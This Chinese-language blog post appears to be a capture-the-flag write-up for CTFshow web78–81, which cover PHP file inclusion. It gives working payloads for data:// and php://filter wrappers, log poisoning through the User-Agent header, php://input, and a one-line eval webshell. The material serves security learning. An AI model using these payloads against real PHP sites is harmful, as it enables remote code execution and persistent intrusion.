CTFer——文件包含

文件包含

 

 

CTFshow web78

$file $_GET['file'];
    include($file);

文件包含 include函数

尝试使用flag.php 发现不会显示但是页面返回正常 说明文件包含成功 存在flag.php文件

获取flag位置 ?file=data://text/plain,<?php system('ls');?>

获取flag ?file=php://filter/read=convert.base64-encode/resource=flag.php

 

CTFshow web79

$file $_GET['file'];
    $file str_replace("php""???"$file);
    include($file);

用replace函数过滤了php 

获取flag位置 ?file=data://text/plain,<?php system('ls');?>

这里php可以用大小写绕过 也可以使用=号替代php短标签

获取flag   ?file=data://text/plain,<?= system("tac fla*");?>

获取flag(2):

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs ===> <?php system('cat flag.php');
CTfshow web80&web81
 $file $_GET['file'];
    $file str_replace("php""???"$file);
    $file str_replace("data""???"$file);
    include($file);
本题过滤了data协议 和php
这里可以使用日志包含
日志地址通常为
apache一般是/var/log/apache/access.log

nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log


通过get传参使?file=/var/log/nginx/access.log
抓包后在user-agent上
加入 <?php echo system('ls');?>
可以查看到 存在flOg.php
改为cat flag.php 即可得到flag


另一种方法 在UA头中加入一句话木马 用蚁剑连接
<?php @eval($_POST[123]);?>

还有一种方法
php:input 可以访问请求的原始数据的只读流,在POST请求中访问POST的data部分 。
也就是传入一个 php:input
然后去post 命令


 

posted @ 2024-03-10 23:20  Heck1ng  阅读(218)  评论(0)    收藏  举报